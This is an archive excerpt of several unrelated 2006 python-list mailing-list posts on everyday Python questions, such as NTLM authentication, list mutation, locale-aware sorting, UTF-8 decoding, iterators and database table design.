Date: Mon, 30 Oct 2006 19:20:02 +0200
Subject: IE7 skulduggery?
In-Reply-To: <1162225593.375844.182300@m7g2000cwm.googlegroups.com>
References: <1162215096.900543.78860@k70g2000cwa.googlegroups.com>
	<1162225593.375844.182300@m7g2000cwm.googlegroups.com>
Message-ID: <45463442.6020404@helsinki.fi>

BartlebyScrivener wrote:
> Found fix for this at Mozilla:
>
> http://kb.mozillazine.org/Default_browser
>
> Apparently, even though it LOOKS and ACTS like Firefox is still your
> default browser after an IE7 upgrade, it's not.
>
> To fix, you must run:
>
> firefox.exe -silent -nosplash -setDefaultBrowser
>
> Which also fixes the webbrowser. py problem.
>
> At least so far.
>
> rd
>
>   
yes, annoying

i know that this may not be related to python but occasionally when im
using firefox under windows and /i think/ when i open IE7, firefox hangs
and wont reopen until i restart. Is this likely to be anything related
to IE7?

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From steve at holdenweb.com  Thu Oct 12 09:50:30 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 12 Oct 2006 14:50:30 +0100
Subject: httplib/DAV: How to respond to "WWW-Authenticate: NTLM" ?
In-Reply-To: <egldb1$17q$1@ulysses.news.tiscali.de>
References: <egldb1$17q$1@ulysses.news.tiscali.de>
Message-ID: <eglh5c$hje$1@sea.gmane.org>

robert wrote:
> In a DAV scheme with PROPFIND or GET (PROPFIND /test/ HTTP/1.1)  and 
> Basic AUTH to a MS SharePoint over https server (AUTH required), he 
> responds 'WWW-Authenticate: NTLM' only:
> 
> reply: 'HTTP/1.1 401 Unauthorized\r\n'
> header: Content-Length: 1656
> header: Content-Type: text/html
> header: Server: Microsoft-IIS/6.0
> header: WWW-Authenticate: NTLM
> header: X-Powered-By: ASP.NET
> header: MicrosoftSharePointTeamServices: 6.0.2.6568
> header: Date: Thu, 12 Oct 2006 12:27:42 GMT
> 
> 
> I simply try repeatedly the same request with Basic Auth header again => 
> The same response requesting 'header: WWW-Authenticate: NTLM' again.
> 
> But then after an unsuccessful test on a really new connection (.close() 
> , .request()) he accepts the Basic AUTH immediately.
> 
> * What is this?
> * Is this a legal/known way to respond to a NTLM AUTH request by 
> ..close() and reconnect with Basic Auth?
> * Is there a Python function out there to do real NTLM authentication?.. 
> and is this recommended to dig into Microsofty HTTP protocols ?
> 
> 
> -robert

The protocol is described in

   http://www.innovation.ch/personal/ronald/ntlm.html

though you may need to consult other documents to get the full details. 
It seems there may be a Python implementation at

   http://ntlmaps.sourceforge.net/

At a pinch you could just use the proxy.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bjobrien62 at gmail.com  Mon Oct 30 14:22:16 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 30 Oct 2006 11:22:16 -0800
Subject: scared about refrences...
Message-ID: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>

I'm really worried that python may is doing some things I wasn't
expecting... but lets see...

if I pass a list to a function def fn(myList):

and in that function I modify an element in the list, then does the
callers list get modied as well.

def fn(list):
   list[1] = 0

myList = [1, 2, 3]
print myList
fn(myList)
print myList

>>> [1,2,3]
>>> [1,0,3]

How can I avoid this?  In this case this is a really simplified example
but the effects are the same...
How do I specify or create deep copies of objects that may contain
other objects that may contain other
object that may contain other objects....



From XX.XmcX at XX.XmclaveauX.com  Fri Oct 20 15:37:01 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Fri, 20 Oct 2006 21:37:01 +0200
Subject: Using Python scripts in Windows Explorer
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
Message-ID: <mn.a5117d6a31980601.46195@XX.XmclaveauX.com>

Hi!

I use this little batch:

    @echo off
    cd \dev\python
    viewarg.py %*

I copy/paste the batch-file on the desktop, like icon.
Then, from Win-explorer, drag_and_drop & copy_and_paste run OK.

-- 
@-salutations

Michel Claveau




From sjdevnull at yahoo.com  Fri Oct 13 18:51:18 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 13 Oct 2006 15:51:18 -0700
Subject: IDE that uses an external editor?
In-Reply-To: <mailman.463.1160759109.11739.python-list@python.org>
References: <mailman.463.1160759109.11739.python-list@python.org>
Message-ID: <1160779878.373795.74230@f16g2000cwb.googlegroups.com>

skip at pobox.com wrote:
> One thing that's kept me from even looking at IDEs is that to the best of my
> knowledge none of them will integrate properly with external editors like
> Emacs or vi.  I know lots of tools support "Emacs-like keybindings", but
> believe me, I've never found one that does a decent job of that.  There is
> just so much more to powerful editors like Emacs or vi than a handful of
> cursor movement commands.  Once a person is proficient they generally won't
> accept substitutes.
>
> So, please prove me wrong.  Are there any IDEs that will actually work with
> an external instance of Emacs (either by firing it up or by using a remote
> connection program like gnuclient)?

For Java, I know Netbeans uses an external protocol to talk to other
editors.  Both XEmacs and vim are possibilities.

Recently, other projects like agide have started using the netbeans
protocol.  My guess would be that something like agide is exactly what
you want: it's more of a "tie my editor, project builder, debugger, etc
together seamlessly" concept than a "you will use this editor, this
project builder, and this debugger" concept.  Sort of an unintegrated
but federated development environment.  It's all written in Python, but
it's still sort-of in its infancy.



From spedrosa at gmail.com  Tue Oct 31 12:06:30 2006
From: spedrosa at gmail.com (Stephen Eilert)
Date: 31 Oct 2006 09:06:30 -0800
Subject: 3d programming without opengl
In-Reply-To: <mailman.1526.1162280594.11739.python-list@python.org>
References: <mailman.1526.1162280594.11739.python-list@python.org>
Message-ID: <1162314390.217807.30240@e3g2000cwe.googlegroups.com>


nelson - wrote:
> hi!
>    i want to build up a simple 3d interactive geometry application in
> python. Since i want to run it without 3D acceleration (a scene will
> be quite simple) I was wondering if there was a library in python that
> allow me to build 3D graphic without the need to use OpenGL.... I
> google but i can't find nothing interesting... (the best would be a
> pure python solution)
>
> Thanks,
>   nelson

I have no idea why you would want to do that. The fact that the scene
is simple shouldn't be the only reason. After all, if a user is able to
run the latest <insert_game_or_modelling_package_here> but your simple
scene runs much slower, he is going to assume there is something wrong
with it.

If the target user has even a simple 3D accelerator, you are taking a
huge performance hit. That shouldn't be done without a good reason.
What's more, giving it is should be a pure Python solution, you won't
even take advantage of MMX/SSE/3d now!, which all recent processors
have. I'm avoiding talking about raw Python performance here.

I did that once, so that I could learn how to make a software renderer,
but that's not your case, since it is a library you are looking for.
Perhaps there are other requirements that require what you are asking
for, but I can't see in your message.


Stephen



From aisaac0 at verizon.net  Tue Oct 24 10:28:23 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Tue, 24 Oct 2006 14:28:23 GMT
Subject: return same type of object
Message-ID: <bqp%g.80658$073.43363@trnddc01>

Instances of MyClass have a method that
returns another instance.  Ignoring the details
of why I might wish to do this, I could
return MyClass()
or
return self.__class__()

I like that latter better.  Should I?
Should I do something else altogether?

Thanks,
Alan Isaac




From rrr at ronadam.com  Mon Oct 16 23:22:47 2006
From: rrr at ronadam.com (Ron Adam)
Date: Mon, 16 Oct 2006 22:22:47 -0500
Subject: Alphabetical sorts
In-Reply-To: <slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
Message-ID: <z3YYg.6629$fl.5841@dukeread08>

Neil Cerutti wrote:
> On 2006-10-16, Ron Adam <rrr at ronadam.com> wrote:
>> I have several applications where I want to sort lists in
>> alphabetical order. Most examples of sorting usually sort on
>> the ord() order of the character set as an approximation.  But
>> that is not always what you want.
> 
> Check out strxfrm in the locale module.
> 
>>>> a = ["Neil", "Cerutti", "neil", "cerutti"]
>>>> a.sort()
>>>> a
> ['Cerutti', 'Neil', 'cerutti', 'neil']
>>>> import locale
>>>> locale.setlocale(locale.LC_ALL, '')
> 'English_United States.1252'
>>>> a.sort(key=locale.strxfrm)
>>>> a
> ['cerutti', 'Cerutti', 'neil', 'Neil']

Thanks, that helps.

The documentation for local.strxfrm() certainly could be more complete.  And the 
name isn't intuitive at all.  It also coorisponds to the C funciton for 
translating strings which isn't the same thing.

For that matter locale.strcoll() isn't documented any better.



I see this is actually a very complex subject.  A littler searching, found the 
following link on Wikipedia.

http://en.wikipedia.org/wiki/Alphabetical_order#Compound_words_and_special_characters

And from there a very informative report:

      http://www.unicode.org/unicode/reports/tr10/


It looks to me this would be a good candidate for a configurable class. 
Something preferably in the string module where it could be found easier.

Is there anyway to change the behavior of strxfrm or strcoll?  For example have 
caps before lowercase, instead of after?


Cheers,
    Ron


From fredrik at pythonware.com  Thu Oct 19 05:37:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 11:37:41 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
In-Reply-To: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
Message-ID: <eh7h11$2o7$1@sea.gmane.org>

NoelByron at gmx.net wrote:

  > I'm struggling with the conversion of a UTF-8 string to latin-1. As far
> as I know the way to go is to decode the UTF-8 string to unicode and
> then encode it back again to latin-1?
> 
> So I tried:
> 
> 'K\xc3\xb6ni'.decode('utf-8')     # 'K\xc3\xb6ni' should be 'K?nig',

"K?ni", to be precise.

> contains a german 'umlaut'
> 
> but failed since python assumes every string to decode to be ASCII?

that should work, and it sure works for me:

 >>> s = 'K\xc3\xb6ni'.decode('utf-8')
 >>> s
u'K\xf6ni'
 >>> print s
K?ni

what did you do, and how did it fail?

</F>



From michael at stroeder.com  Mon Oct  9 05:24:02 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Mon, 09 Oct 2006 11:24:02 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7x64eu4h3a.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de> <egbq0f$iah$1@sea.gmane.org>
	<mailman.83.1160343369.11739.python-list@python.org>
	<7x64eu4h3a.fsf@ruckus.brouhaha.com>
Message-ID: <i2hpv3-qj7.ln1@nb2.stroeder.com>

Paul Rubin wrote:
> skip at pobox.com writes:
> 
>>Which is something SourceForge has yet to learn.  At work we use a system
>>called RT (http://www.bestpractical.com/rt/).  While it's not perfect, it
>>does allow submissions and responses via email.  That feature alone puts it
>>miles ahead of SF in my mind.
> 
> I'm on the other side--I think spam has destroyed the usefulness of
> email as a communications medium and I don't want to depend on
> anything having to do with email any more.

E-mail spam is an issue but the python.org infrastructure already has to
do spam filtering for mailing lists. Or does it simply resend all mail?

Ciao, Michael.


From lialie at gmail.com  Fri Oct 13 00:15:39 2006
From: lialie at gmail.com (Mandy.Lialie)
Date: Fri, 13 Oct 2006 12:15:39 +0800
Subject: What is python(abi)?
Message-ID: <452F12EB.9050909@gmail.com>

Hi,
I have searched for quite a long time, but still can't get it.
When I install YUM or others, it embarrasses me.
That says python(abi) = 2.4 is need.

Previous I install python 2.4, then install 2.5 to have a try.
Both work well. And build wxPython successfully with 2.5.
OS: FC5

Any help?
Thanks.


From fredrik at pythonware.com  Mon Oct  2 01:25:53 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 02 Oct 2006 07:25:53 +0200
Subject: PATCH: Speed up direct string concatenation by 20+%!
In-Reply-To: <1159762765.943691.139690@b28g2000cwb.googlegroups.com>
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>	<451CD389.3010800@jessikat.plus.net>	<mailman.932.1159533269.10491.python-list@python.org>	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>	<mailman.948.1159542291.10491.python-list@python.org>	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>	<mailman.955.1159545644.10491.python-list@python.org>	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>	<mailman.956.1159547188.10491.python-list@python.org>	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
Message-ID: <efq7t3$v3r$1@sea.gmane.org>

Larry Hastings wrote:

> There are some improvements in this version.  Specifically:
> 
> * Python will no longer crash if you do ten million prepends
>   ( x = 'a' + x ).  Since the problem was blowing the stack
>   with an incredibly deep render, I now limit the depth of
>   the string concatenation objects (currently set at 16384).
>   Note that string prepending is now *immensely* faster, as
>   prepending in the existing implementation is a worst-case.

You really should look up something called "ropes".

You should also benchmark this against code that uses the ordinary 
append/join pattern.  (you've posted conflicting benchmarks for 2.5,
but if I'm trusting the benchmarks that looks more reasonable, the
standard implementation pattern is still around 10 times faster than 
your approach).

 > Perhaps; I've never been to PyCon, but it might be fun to give a
 > presentation there.  That said, it would be way more relevant if the
 > patch got accepted, don'tcha think?

It's rather unlikely that something like this will ever be added to
the 2.X series.  It's pretty unlikely for 3.X as well (GvR used a 
rope-like structure for ABC, and it was no fun for anyone), but it'll 
most likely be a lot easier to provide this as an option for 3.X.

</F>



From frank at chagford.com  Mon Oct 30 06:28:13 2006
From: frank at chagford.com (Frank Millman)
Date: 30 Oct 2006 03:28:13 -0800
Subject: wxFrame don't have Bind attribute ??
In-Reply-To: <1162206945.246107.122390@h48g2000cwc.googlegroups.com>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
	<mailman.1480.1162205808.11739.python-list@python.org>
	<1162206945.246107.122390@h48g2000cwc.googlegroups.com>
Message-ID: <1162207693.058720.137580@i42g2000cwa.googlegroups.com>


Jia Lu wrote:
> Steve Holden ??????:
> > Perhaps you could show us the code that's failing,
>
> the code is :
>
> <code>
> #!/usr/bin/python -tt
>
> __author__ = "Jia Lu <roka100 at gmail.com>"
> __verstion__ = "1.0.0"
>
> import wx
>
> class MyFrame(wx.Frame):
>   def __init__(self):
>     wx.Frame.__init__(self, None, -1, "MyFrame", size=(300,300))
>     panel = wx.Panel(self, -1)
>     panel.Bind(wx.EVT_MOTION, self.OnMove)
>     wx.StaticText(panel, -1, "Pos:", pos=(100,105))
>     self.posCtrl = wx.TextCtrl(panel, -1, "", pos=(130,100))
>
>   def OnMove(self, event):
>     pos = event.GetPosition()
>     self.posCtrl.SetValue("%s, %s" % (pos.x, pos.y))
>
> if __name__ == "__main__":
>   app = wx.PySimpleApp()
>   frame = MyFrame()
>   frame.Show(True)
>   app.MainLoop()

This works perfectly for me, using wxPython 2.6.3.2, on both Linux and
Windows.

What platform are you using?

Frank Millman



From ak at silmarill.org  Mon Oct  2 00:50:35 2006
From: ak at silmarill.org (Rainy)
Date: 1 Oct 2006 21:50:35 -0700
Subject: Problem with .next() method adding junk characters.
In-Reply-To: <1159763148.568488.62270@m7g2000cwm.googlegroups.com>
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
	<1159763148.568488.62270@m7g2000cwm.googlegroups.com>
Message-ID: <1159764635.643743.281030@m73g2000cwd.googlegroups.com>


John Machin wrote:
> Rainy wrote:
> > Hi,
> >
> > I tried searching for this and did not find this issue. I only looked
> > at about dozen hits, I apologize if this is covered somewhere and I
> > missed it. Without much further ado, here's the thing (Win, Py2.5):
> >
> > >>> f = open('test', 'w')
> > >>> f.fileno()
> > 4
> > >>> f.write('1\n')
> > >>> f.write('2\n3\n4\n')
> > >>> f.next()
> >
> > Traceback (most recent call last):
> >   File "<pyshell#8>", line 1, in <module>
> >     f.next()
> > IOError: [Errno 9] Bad file descriptor
>
> This *should* complain that the file is not open for reading. What you
> see is an accidental error. message. When I tried it, I got no error,
> but it printed a few hundred bytes of garbage.
> In both your case and mine, it has also written a load of junk to the
> file!
>
> > >>> f.close()
> > >>> f = open('test')
> > >>> f.next()
> > '1\n'
> > >>> f.next()
> > '2\n'
> > >>> f.next()
> > '3\n'
> > >>> f.next()
> > '4\n'
> > >>> f.next()
> > '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
> > ...many more lines of junk...'
>
> Junk was written to the file earlier.
>
> >
> > I understand that you're not
> > supposed to call .next on a file open for writing.
>
> Indeed. However if you mess up, Python is supposed to give you a
> meaningful error message and not write gibberish to your file.
>
> Please report it as a bug.
> 
> Cheers,
> John

Thanks for the reply, I reported it.. 

 -Rainy



From bignose+hates-spam at benfinney.id.au  Tue Oct  3 20:52:27 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 04 Oct 2006 10:52:27 +1000
Subject: PEP 358 and operations on bytes
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>
Message-ID: <87k63gj41g.fsf@benfinney.id.au>

Gerrit Holl <gerrit at nl.linux.org> writes:

> operations that aren't currently defined in PEP 358, like:
>
>     - str methods endswith, find, partition, replace, split(lines),
>       startswith,
>     - Regular expressions
>
> I think those can be useful on a bytes type. Perhaps bytes and str
> could share a common parent class? They certainly share a lot of
> properties and possible operations one might want to perform.

Looking at those, I don't see why they wouldn't be useful for *all*
sequence types. Perhaps there needs to be a 'seq' type containing
those common methods, that is the superclass of 'str', 'bytes',
'list', 'tuple' et cetera.

-- 
 \        "Either he's dead or my watch has stopped."  -- Groucho Marx |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From moishyyehuda at gmail.com  Sun Oct 29 01:10:25 2006
From: moishyyehuda at gmail.com (Moishy Gluck)
Date: Sat, 28 Oct 2006 22:10:25 -0700
Subject: random module
Message-ID: <187d38240610282210l2b73c838q8def1be5ca2cea7d@mail.gmail.com>

Hi

I am using the random module to generate a session tracker. I use this code
to generate a random number "random.random() * 10000000000000000" The
session is stored in a mysql database under the field session_id. The
problem is when I try to submit the random number into my database I get
this error

*IntegrityError*: (1062, "Duplicate entry '2147483647' for key 1")
      args = (1062, "Duplicate entry '2147483647' for key 1")


With the same number every time. The  number being 2147483647. Does eneyone
know what the problem is.
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From apardon at forel.vub.ac.be  Fri Oct  6 03:25:52 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Oct 2006 07:25:52 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
Message-ID: <slrneic180.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Georg Brandl wrote:
>
>> This is an issue in most Python documentation: you're not told
>> if the described function is implemented in C, and if it is
>> keyword arg-enabled. The arguments must be given names though,
>> to be able to document them.
>
> the general rule is that if the documentation doesn't explicitly say 
> that something is a keyword argument, it isn't, and shouldn't be treated 
> as such.

Is this general rules documeted somewhere? My impression is that readers
of the documentation will treat arguments as keyword arguments unless
this is explicitly contradicted. The reason for this is that when they learn
about writing functions, parameters can be used as keuword arguments by
default.

So I don't think you can fault the readers for treating the
documentation as if it is talking about python functions. 

-- 
Antoon Pardon


From fredrik at pythonware.com  Fri Oct  6 07:25:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 13:25:41 +0200
Subject: Skullsocks to the rescue - was [irrelevant squabble of IL]
In-Reply-To: <4omrtoFf9r6gU1@uni-berlin.de>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de>	<mailman.1448.1160130030.10491.python-list@python.org>
	<4omrtoFf9r6gU1@uni-berlin.de>
Message-ID: <eg5efl$mcb$1@sea.gmane.org>

Diez B. Roggisch wrote:

> Due to the unexpected interest in my foot-garments, I here present
> an image of  my current collection of skullsocks(tm)
> 
> http://www.roggisch.de/img/skullsocks.jpg

ah, pretty close, and the green color is absolutely the right one, but 
my socks has the skulls drawn on top of the crossbones.

(no, I'm not going to fetch a camera.  not right now, at least.  and no, 
I haven't gotten around to buy a matching power drill, either.  but it's 
tempting...)

> They can be bought at our friendly swedish clothes retailer, H&M.

all Python programmers should have at least pair, I think.

</F>



From skip at pobox.com  Thu Oct 26 09:38:36 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 26 Oct 2006 08:38:36 -0500
Subject: question about True values
In-Reply-To: <87r6wvlx3a.fsf@benfinney.id.au>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <87r6wvlx3a.fsf@benfinney.id.au>
Message-ID: <17728.47708.187421.870833@montanaro.dyndns.org>


    Skip>     string              ""
    Skip>     list                []
    Skip>     tuple               ()
    Skip>     dict                {}
    Skip>     int                 0
    Skip>     float               0.0
    Skip>     complex             0j
    Skip>     set                 set()
    Skip> 
    Skip> Any other value besides the above will compare as "not false".

    >> And today's question for the novices is: which Python type did Skip
    >> miss from the above list?

    Ben>        bool             False

In my rush to reply I missed several others as well.  Elucidation left as an
exercise for the reader.

Skip


From tejovathi.p at gmail.com  Sat Oct 14 01:32:54 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 22:32:54 -0700
Subject: Attribute error
Message-ID: <1160803974.234768.286150@k70g2000cwa.googlegroups.com>

Hi all,

What is attribute error? what causes that error, especially with COM
objects?

To be precise :

Attribute Error: LCAS.LabcarController.writeLogWindow()

Here, LCAS.... is a COM object

Thanks
Teja.P



From rcs at bgoark.no  Sat Oct  7 20:55:36 2006
From: rcs at bgoark.no (baalbek)
Date: Sun, 08 Oct 2006 02:55:36 +0200
Subject: windev vs python SOS
In-Reply-To: <mailman.1077.1159779510.10491.python-list@python.org>
References: <nXzSg.195$nn3.31@nntpserver.swip.net><0001HW.C14424C100B023CEF0488530@news.individual.de><1159632848.993229.58300@m7g2000cwm.googlegroups.com>	<4520d2c7$0$2782$636a55ce@news.free.fr>
	<mailman.1077.1159779510.10491.python-list@python.org>
Message-ID: <45284c6d$0$8001$c83e3ef6@nn1-read.tele2.net>

Fredrik Lundh wrote:
> Bruno Desthuilliers wrote:
> 
>> Amanda wrote:
>> (snip)
>>> I am always amazed when I meet fanatics!!
>> I'm always amazed when I meet PC-Soft's salespersons...
> 
> isn't there some non-python forum where you can sort this one out ?

Why is it up to Bruno to sort this out? And what makes you the 
"post-nazi" of this group?
As far as I'm concerned, Bruno's reply is 100% called for.

Baalbek


From johnjsal at NOSPAMgmail.com  Wed Oct  4 22:22:19 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 22:22:19 -0400
Subject: can't open chm files all of a sudden
In-Reply-To: <1159951350.208619.222470@m73g2000cwd.googlegroups.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
Message-ID: <45246d73$0$30759$c3e8da3@news.astraweb.com>

John Machin wrote:

> 6. Fire up a Comamnd Prompt window, and type this in:
> 
> \windows\hh \python25\doc\python25.chm
> \windows\hh \windows\help\whatever.chm

I tried this and got the same error. This is really upsetting.


From PengYu.UT at gmail.com  Tue Oct 24 19:39:29 2006
From: PengYu.UT at gmail.com (PengYu.UT at gmail.com)
Date: 24 Oct 2006 16:39:29 -0700
Subject: How to find out the directory that the py file is in?
Message-ID: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>

I have the following python script and some_command in the same
directory. I have to call the python script from that directory.
Otherwise, some_command won't be found. I'm wondering how to make the
following script working no matter what the working directory is.

Thanks,
Peng

#!/usr/bin/env python

import os

cmd = "./some_command";
print cmd
os.system(cmd);



From steven.bethard at gmail.com  Tue Oct 10 22:36:53 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 10 Oct 2006 20:36:53 -0600
Subject: elementsoap with Python 2.5
Message-ID: <3M-dncTufqJUxbHYnZ2dnUVZ_vCdnZ2d@comcast.com>

I was trying to get elementsoap_ working with just xml.etree from Python 
2.5 (and no standalone elementtree installation).  I think I got 
everything working by changing the imports and copying in the 
FancyTreeBuilder class (since only TreeBuilder and XMLTreeBuilder are in 
the xml.etree.ElementTree module).  I've attached the diff.  Does this 
seem like the right approach?  I'd rather not have to install 
elementtree alongside the one in the stdlib...

.. _elementsoap: http://effbot.org/downloads/#elementsoap

STeVe
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From duncan.booth at invalid.invalid  Thu Oct 26 09:30:11 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 26 Oct 2006 13:30:11 GMT
Subject: iterator idea
References: <7xiri7mucr.fsf_-_@ruckus.brouhaha.com>
Message-ID: <Xns9868422894901duncanbooth@127.0.0.1>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
...
> For example, the annoyance means itertools.takewhile consumes an extra
> element with no reasonable way to retrieve it. 
...
>
>    def is_even(n): return (n%2 == 0)
>    def is_odd(n): return (n%2 != 0) 
> 
>    # we want to do something with all the runs of even numbers
>    # in the sequence, and similarly with the odds.  seq is an 
>    # infinite sequence.
>    while True:
>        evens, seq = takewhile_exact(is_even, seq)
>        do_something_with (evens)
>        odds, seq = takewhile_exact(is_odd, seq)
>        do_something_else_with (odds)
> 
> Without the "goto"-like transfer, we'd get deeper and deeper in nested
> iterators and eventually overflow the call stack.

I wouldn't agree that there is no way reasonable way to get the terminating 
value with takewhile, you just need another generator or two:

>>> def repeatable(iterator):
	it = iter(iterator)
	for v in it:
		while (yield v):
			yield None

			
>>> def takeparts(predicates, iterator):
	iterator = repeatable(iterator)
	while True:
		for pred in predicates:
			yield takewhile(pred, iterator)
			iterator.send(True)

			
>>> for seq in takeparts([is_even, is_odd], [2,2,4,5,6,6,7]):
	print list(seq)

	
[2, 2, 4]
[5]
[6, 6]
[7]



From mensanator at aol.com  Thu Oct 19 17:37:11 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 19 Oct 2006 14:37:11 -0700
Subject: proper format for this database table
In-Reply-To: <mailman.786.1161289572.11739.python-list@python.org>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
Message-ID: <1161293831.141761.284230@e3g2000cwe.googlegroups.com>


Gabriel Genellina wrote:
> At Thursday 19/10/2006 17:07, John Salerno wrote:
>
> >Hi guys. I was wondering if someone could suggest some possible
> >structures for an "Education" table in a database. It will contain at
> >minimum university names, years of attendance, and degrees earned. My
> >problem is that I don't know quite how to set this up for people who
> >have attended multiple universities. I could do:
> >
> >university text DEFAULT NULL,
> >yearStart integer DEFAULT NULL,
> >yearEnd integer DEFAULT NULL,
> >degreesEarned text DEFAULT NULL
> >
> >But this only allows for one university. (Also not sure if I should
> >split up the years like that.) But mainly I'm looking for a way to
> >construct this table so it can hold multiple universities, if necessary.
>
> The relationship should be 1:n between a Person and its Education records.
> Person 1<--->n Education
> so just add a PersonId to the table and you're done.
> Depending on your needs, later university and degreesEarned may
> become entities instead of simple text attributes.

And if multiple degrees are earned at the same university,
they should be in seperate records. So if you were thinking

[id] [university] [yearStart] [yearEnd] [degreesEarned]
1     U of I       1971        1977      BS MS PhD

you should rethink it as

[id] [university] [yearStart] [yearEnd] [degreeEarned]
1     U of I       1971        1975      BS
1     U of I       1975        1976      MS
1     U of I       1976        1977      PhD



From simon at brunningonline.net  Wed Oct 18 11:30:19 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Wed, 18 Oct 2006 16:30:19 +0100
Subject: Dictionaries
In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
Message-ID: <8c7f10c60610180830p8c1961fu973c8e4d0ab673c0@mail.gmail.com>

On 18 Oct 2006 08:24:27 -0700, Lad <python at hope.cz> wrote:
> How can I add two dictionaries into one?
> E.g.
> a={'a:1}
> b={'b':2}
>
> I need
>
> the result {'a':1,'b':2}.

>>> a={'a':1}
>>> b={'b':2}
>>> a.update(b)
>>> a
{'a': 1, 'b': 2}

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From pavlovevidence at gmail.com  Sun Oct 29 17:16:47 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 29 Oct 2006 14:16:47 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
Message-ID: <1162160207.071387.180960@h48g2000cwc.googlegroups.com>

Snor wrote:
> As this occurs, there is a
> small amount of lag while the communication with the mySQL server takes
> place, and there could be another 100 clients waiting to make a request
> at this point, meanwhile the server is idling while waiting for a
> response from the mySQL server - obviously not a good server model.

